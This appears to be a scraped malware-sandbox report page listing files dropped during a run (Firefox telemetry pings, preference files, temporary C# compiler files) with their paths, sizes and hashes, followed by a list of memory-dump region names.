T1BE217C8C35F84E6AACC7E69CB48106CE53914E0654C72C438D12DF8DCDC5AD9326E879
MD5 SHA1 SHA512 TLSH

Submit Download

0c441be8-d701-437c-845e-c7c52e583866

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\0c441be8-d701-437c-845e-c7c52e583866
Size 2KB
SHA256 5ee24a4d955d363d71cf9774bfcac866ea102971253083c256103539d4853631
MD5 4300dc269e9edf8b30d1e5e76e00de00
SHA1 de215828ff6043e9bdcc182a5186f7d2e11667ae
SHA512 ce28d79b66f0eb8f166aef7b78879aef2d9a632dd6d4b3d1589dd2fea0df599c734c3fb5ea2dedc50520ac8ed1e36adb37c7c9273648c4f84ac92efb52f3f24c
TLSH
T10C41226C79785DB748DAE28D9052328E57A08E1340C65CC32D62EE0C8D963A9337F52B
MD5 SHA1 SHA512 TLSH

Submit Download

24f32229-be57-4742-ac17-89c47cfd3875

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\24f32229-be57-4742-ac17-89c47cfd3875
Size 235B
SHA256 943f086da49252f5bf0e7afd9e647d9b87273972724c0ad41e1a7f772d85f738
MD5 ce75728da04e6ee5fd2a6b4eb011010b
SHA1 bf2541c4e566326e8b422eaaa20deee11092556a
SHA512 215f3733e126cf22b8666fb87f85e9e5c4458665098b238f617f6f2705f8a2a450f46fc410ac486faa01ca5cffde0a485a906038b527f899e5bfdf2570a153da
TLSH
T14AD0979024A8A31C09004F07F0A02ACA30A64C3390B06C20DAA045B48EBCDC80261E0B
MD5 SHA1 SHA512 TLSH

Submit Download

43c25d2a-df29-48a9-83a6-fb246f8c9a4c

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\43c25d2a-df29-48a9-83a6-fb246f8c9a4c
Size 3KB
SHA256 b6c3d5e2dedb6abbd8b63ca013aec93a703221f84ad83e361718c2256a7b20ce
MD5 8c07432a5439e9a8ca226a53607b853e
SHA1 f46d5dbcaafee6261903d07c21908e1a1844297f
SHA512 9a12481b635b835bbefb5b61feccce05c4aa7ccf8327d799c7e184bb5f96b81f446385136c5a7221e4b69ea5e698c4f903b7b675cdc04fc1c9a6250d761ab1c5
TLSH
T1516163715458B9338BE8B104A3377D848DDE739B58570FCD212ACE6842F88785B8F25B
MD5 SHA1 SHA512 TLSH

Submit Download

4cca5e6c-73af-4b26-ad6e-a43e52955116

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\4cca5e6c-73af-4b26-ad6e-a43e52955116
Size 3KB
SHA256 c8bd4f30a772101dae71897738f56d7e1d913daba248d05ebabdba3bad7d1a47
MD5 364e891af4059301e83e0710b179f821
SHA1 7e35fde8fe91375e682a52d4aa6340f9a0cbfa28
SHA512 39094edbb64b0246e7160ff6d721a37a3e3a4b80530dd577fec28df4b03812c2bbc28416757356639d701e2c47939e44e48bd107f616788daa52b0f2fc279b92
TLSH
T1636143715458B9738BE8B104A3376A808EDE339B54531ECE515ACD2882F84795B8B25F
MD5 SHA1 SHA512 TLSH

Submit Download

53b4b45f-2ad8-4476-84f3-804f5a97fb20

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\53b4b45f-2ad8-4476-84f3-804f5a97fb20
Size 235B
SHA256 72ca2643b0086cb0d575964d63879195ae442b6ee5b12a30d903b295a610096e
MD5 0c954e2e45b45998297d86ec57e74575
SHA1 5b3316a744e5da794c910a9c99a5671380ab6b2d
SHA512 10be831d360b3fd7fb3d49c8decceaf34afa267b24af8e9cbe770b00fdbb45bed3f72551fd9cd7a022cdf931e77d07ce9018b5844573b25aa11d273f75d84ea2
TLSH
T1E6D097A068F867EC48000F0AF0A069C231584C33206658108AA189748BF9ACC4271816
MD5 SHA1 SHA512 TLSH

Submit Download

7701dcd0-1841-4e4b-8e31-34e484fa7440

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\7701dcd0-1841-4e4b-8e31-34e484fa7440
Size 3KB
SHA256 57d34f36aa33dc9a3f682dbfd6c4885293ef456ca32445d5dba652f34c46957d
MD5 9183202497174f8f11791b88adc7af29
SHA1 1530585f3967994ce6a495288c9036d422bc408b
SHA512 6996f0ac1813b5d112f06944dbfecc7a1a00317576bac47938269185314dd47c4ea43ce843c1dd47c8bb5a422e02f2fd5b63131f0817fce7a85b36a1fb58e5b0
TLSH
T1D56153715558BA338BE8B104A33BAA848DDE739B54530FCD115ACD2842F88B85B8F25B
MD5 SHA1 SHA512 TLSH

Submit Download

772ffe46-cf0d-479a-b9ee-ade047369948

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\772ffe46-cf0d-479a-b9ee-ade047369948
Size 16KB
SHA256 344ede2babcd9284b688d7ee1193912908ee9d300121c98fcfb3f2216c7cd84a
MD5 b8f485c378e24c93d0e8e7551ca31443
SHA1 697dfba304175ac81c529714c6f5a06f15e38bb8
SHA512 8def5fe964fa0586bc800279a0144b1f47edc4a377a88621f0364c2ff4a03eb02176679480f52b82d46b629287fdd333698abe47ef79a5963d9b46d1e3593e5c
SSDEEP 192:5reJ/AOXIXJnagfUYcHJZNxRgQKyPttiJ3eKcl2SX3meaMGBiE9eV4E+wNpBERUh:EBQ5anHJX2oaMGc6ENpBMUKRGhJ
TLSH
T10772B9565420857A8651E3AC98FCBFC3E6F528CF4C419FCA9BE4BD0869DE06E112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

84eb42af-75d9-4a86-b782-015f2abddb72

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\84eb42af-75d9-4a86-b782-015f2abddb72
Size 3KB
SHA256 9bfe4742df914a352af6ef3ff5f22b0408d76005502585979f3cdf08ea4dfcef
MD5 ff0e3ca1f5f2556423a72b9b81448f10
SHA1 6d7076ab83f6282039bfc92f40ea04e66278604c
SHA512 2112e981814ea9dd0eebbfe6b03ed4bddc557610c3ee5a7b3723f9418c38ccfb46323a9f391c6a7cdba6c71972047b91401b9f2e7651c19d57c452c3eb32e3ce
TLSH
T18A6164615558B9738BECB104A337BD808EDE739B58531FCE141ACD2842F84685B8F25B
MD5 SHA1 SHA512 TLSH

Submit Download

acdfc0fc-fbad-4d67-90b5-d60cd255ac7e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\acdfc0fc-fbad-4d67-90b5-d60cd255ac7e
Size 883B
SHA256 e95547af516e66430d146ebdbcbc8f4fa5095e4790aee9d33f68e80d8e853cfd
MD5 7e662612483879a4f0956198326fa8b0
SHA1 9b68ea78aff1fbba99bddac3aa9070b2e6554426
SHA512 d8dff420942a65c8b46e6254f545a1fc0bb0edcc54d38495cb7c398bf74569047182cc06d2263be5096b07b9835c8cb5216019c79aaf9bb7c04b18fc0afbf3f4
TLSH
T13911C455E574BAF3CC68D24F86517B018BA87523C0D649243DA59D084C7E52A936A70B
MD5 SHA1 SHA512 TLSH

Submit Download

cb51d7cf-0b10-4e1a-8661-49b293c80198

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\cb51d7cf-0b10-4e1a-8661-49b293c80198
Size 3KB
SHA256 caf1d097e702ca8e3c4787b073c63a66b2d747f44c87d5da05cf2502f2301b4d
MD5 953ac6c77055f2dcb931bd39d737da1e
SHA1 8de80ec9f0e41f6f4974b147f043b50b16c3ba54
SHA512 de1acdb99017f1570a22930caafb1a97a98282a5378aedb6ac8418e52f9945e0682b5cd139331d3421d3602c54470d41376951e139b42e377e03b79f8c910688
TLSH
T1746174714858B9738FF8B144A33B69848EDE338B58530FDE111ACD2842F8878578F25B
MD5 SHA1 SHA512 TLSH

Submit Download

ec630966-bceb-4310-ab23-99195deb72c8

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\ec630966-bceb-4310-ab23-99195deb72c8
Size 886B
SHA256 e43765341860ea4ebb18a96460f6f0c1beb5ac831af3cc32b0dfa6c929d65822
MD5 cc72a5515e6e5fe8e73fbf2918ef1d60
SHA1 108ffdc55bb0b4695fd5e01fbf3dc437cd12ddbc
SHA512 cdb69989dc0cf2ce8429a62a91e357e010c8ecf616bdef22f34fde01681ac64825ae3c6210ca9033ff8f14688e2528888a8b7b2f58c4384ddb47643d55c728d5
TLSH
T17B112751C574B9F3CC68D24B95A17B424BE47023C0D60D643D59CE0C4CBE12E9767307
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\prefs-1.js
Size 6KB
SHA256 e4230c443dac9f360910441ab1248404a3da6272b303ee9a6059d9747e9f158b
MD5 b4cd5143b81081843a216ce3337bdf81
SHA1 8ef17e6325da4573ee94f75aa08b951ddb039a2d
SHA512 8dd9931c1f49a8d1d709790ba7e107160d2ff8d6d35db9f575828afb887ba52d4c35cb34ffd40da4269b02a4ae213d577900555ea2c6e0e69c2ba3a7349414c1
SSDEEP 96:xHkUTUNqGqZfsD21zS9tSSlqdv9jhnumHb4nNzw9Bw88H8L4cntev:+gRZfsD2ctSS1ob0sBw881
TLSH
T148E13F789508CB7F74B676ACAC688831AAB2413BB7BF68C750B95484050CF3442F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\prefs-1.js
Size 6KB
SHA256 24f282288c048d5c11cd5b8e909a97e185b964028f58c780fa3f3e3cb4cd8df8
MD5 44e5d2f4d8f8be991523bca7755f2b2e
SHA1 d048067a9ffd6ed54b4e22a10e7ca5329a3c6b33
SHA512 69dc7e7b60112186ad14af10316983b82857aaa24f026840e7835e7f1e48f03c3be382a90966bd0ce433d69c3ba2efc7783e6b7c90fd25f55224bbcfb09dc3f5
SSDEEP 96:xHkUTUNqGqZfsUV1zS3E1SOSSlqdv9jHnumHb4nNzw9Bw88H8L4cntev:+gRZfsUVOE1hSSbob0sBw881
TLSH
T187E13F789008CB7F74B677ACAC688871AAB2413BB7BF68C750B59485010CF3446F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0znoxkge.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\0znoxkge\0znoxkge.0.cs
Size 185B
SHA256 6f73f3ed4fdcac3be47b0398f5e9f79c0e138e052f31f885e86b37e2060a00e0
MD5 dbd5c6f96ed1813dbcc61c2c6091c05e
SHA1 2b52d347bbd04db7c0227f8ddb0284c945a36100
SHA512 556441599e8c5be3f1b61fea9ef1879018a4eedf8e403cc227b2e39511397c2dbb5a7617246e0dadabe37df00919f36140ace5db189a070949f76913997d5516
TLSH
T13DC012843295F3354A8605073C02F99B223E6B2202A9691499592D47EE141617779C2B
MD5 SHA1 SHA512 TLSH

Submit Download

0znoxkge.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\0znoxkge\0znoxkge.cmdline
Size 369B
SHA256 8499eefc4bd98f628994036dcbca939e63a8578e69dd0c2b2c335fdca1ceeba0
MD5 703d9f9ec101cc8ca806653d9cf703e7
SHA1 78665f63ee850ec5f6f56be7bfbfde2dbe9a8c35
SHA512 46116187fde479848f7a442fd1990e5d4b406e23fa5c14ae1d5f1175769f2722993f8142f89afab5606beb88737b369ecd55ad61bfb4269605780ab0804880b0
TLSH
T152E0683A4246C27D49D9200B3369CAEC87720ACB29403F89B0C1440DF01704927D17C9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC40E106554C114385A49C7BEE95AA7012.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\0znoxkge\CSC40E106554C114385A49C7BEE95AA7012.TMP
Size 652B
SHA256 80cf1a587a82cb447c278c5bfedd50173100db5d83441f61acee4738da9ab947
MD5 1ee0b968e81460f9fc53465234bc49c8
SHA1 4a9b40bd43e64ff88b99999f3819e74b5713be1b
SHA512 072bdb3104b947f4461a817dc55e0c3de245485081781aa35026b8710e1c5bd5321205a2900af04d8a4cd098d6f94bc9e5b04107c8f57d5a30d7583a5af7418a
TLSH
T1CBF05E0A63F8020EF4F34B30BDF64363A1A9BC65DE3293ED1580031D2C645108962FB3
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4D42710D8E4843859BD36696B1B97C84.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\w02x2kua\CSC4D42710D8E4843859BD36696B1B97C84.TMP
Size 652B
SHA256 ce358cb9f9eb8ca6a654fe29dbe25a51dd40659320efc1ea73e2ca94cc3a4b89
MD5 00bcacf75b6f85de4289a652c9f4579b
SHA1 83a0e89551519bf26180d13b5c5a3a197d1ef30f
SHA512 2e891f7d5cdd1a96cd5498e3d5e508fcaf6d306f19db3738c8001ff53d047e6b36e1c23dda4c608dcef044ffc3e6c723066f17464a39aa2d059bb97223264b24
TLSH
T1E5F05E0AB3F8020EF1F38B30BDF6436791A9BC65DE3293ED5480032928645149972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

w02x2kua.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\w02x2kua\w02x2kua.cmdline
Size 369B
SHA256 c423eff87cb5780d26a256aca674c4fa7b2d1da47d0ba0acace048507f610b87
MD5 e2beb7d56446aaa83bad3ec21819f1a5
SHA1 e8ffa1246a80fbcdc57c8a37e987cc5af5369865
SHA512 8248e82da814e4a291e645ce10e5152da6ddfbca91768554bd1e8cc5b6e79acbbe55a18a1f129d16eae022ea11a2d419056b9c25ec3aeb092dacac56b6fc483f
TLSH
T1E5E0C62E4247C27D81ED200B2A6BCDACC2F20F9B2F82BF849240C40DE0670103BE2B81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2004-3-0x00000219EADC0000-0x00000219EADD0000-memory.dmp

Download

memory/2004-4-0x00000219EADC0000-0x00000219EADD0000-memory.dmp

Download

memory/2004-11-0x00000219ECF40000-0x00000219ECF62000-memory.dmp

Download

memory/2004-12-0x00000219EADC0000-0x00000219EADD0000-memory.dmp

Download

memory/2660-105-0x000001EB0BE70000-0x000001EB0BE82000-memory.dmp

Download

memory/3748-72-0x0000000006250000-0x00000000062B6000-memory.dmp

Download

memory/3748-77-0x0000000006DB0000-0x00000000072DC000-memory.dmp

Download

memory/3748-75-0x0000000006560000-0x00000000065D6000-memory.dmp

Download

memory/3748-73-0x0000000006430000-0x00000000064E2000-memory.dmp

Download

memory/3748-76-0x00000000065E0000-0x0000000006630000-memory.dmp

Download

memory/3748-1235-0x0000000008110000-0x000000000811A000-memory.dmp

Download

memory/3748-1234-0x0000000007EA0000-0x0000000007F32000-memory.dmp

Download

memory/3748-1223-0x00000000072E0000-0x0000000007637000-memory.dmp

Download

memory/3748-78-0x0000000006910000-0x000000000692E000-memory.dmp

Download

memory/3748-74-0x00000000066B0000-0x0000000006872000-memory.dmp

Download

memory/3748-71-0x0000000005A70000-0x0000000006016000-memory.dmp

Download

memory/3748-70-0x00000000000B0000-0x000000000016E000-memory.dmp

Download

memory/3748-68-0x00000000000B0000-0x000000000017C000-memory.dmp

Download

memory/3748-1222-0x0000000006AB0000-0x0000000006AD2000-memory.dmp

Download

memory/4192-67-0x00000236C53E0000-0x00000236C53E8000-memory.dmp

Download

memory/4228-37-0x000001C7DDDF0000-0x000001C7DDDF8000-memory.dmp

Download

memory/4228-39-0x000001C7C36F0000-0x000001C7C370A000-memory.dmp

Download

memory/5076-0-0x0000000000EC0000-0x0000000000ECE000-memory.dmp

Download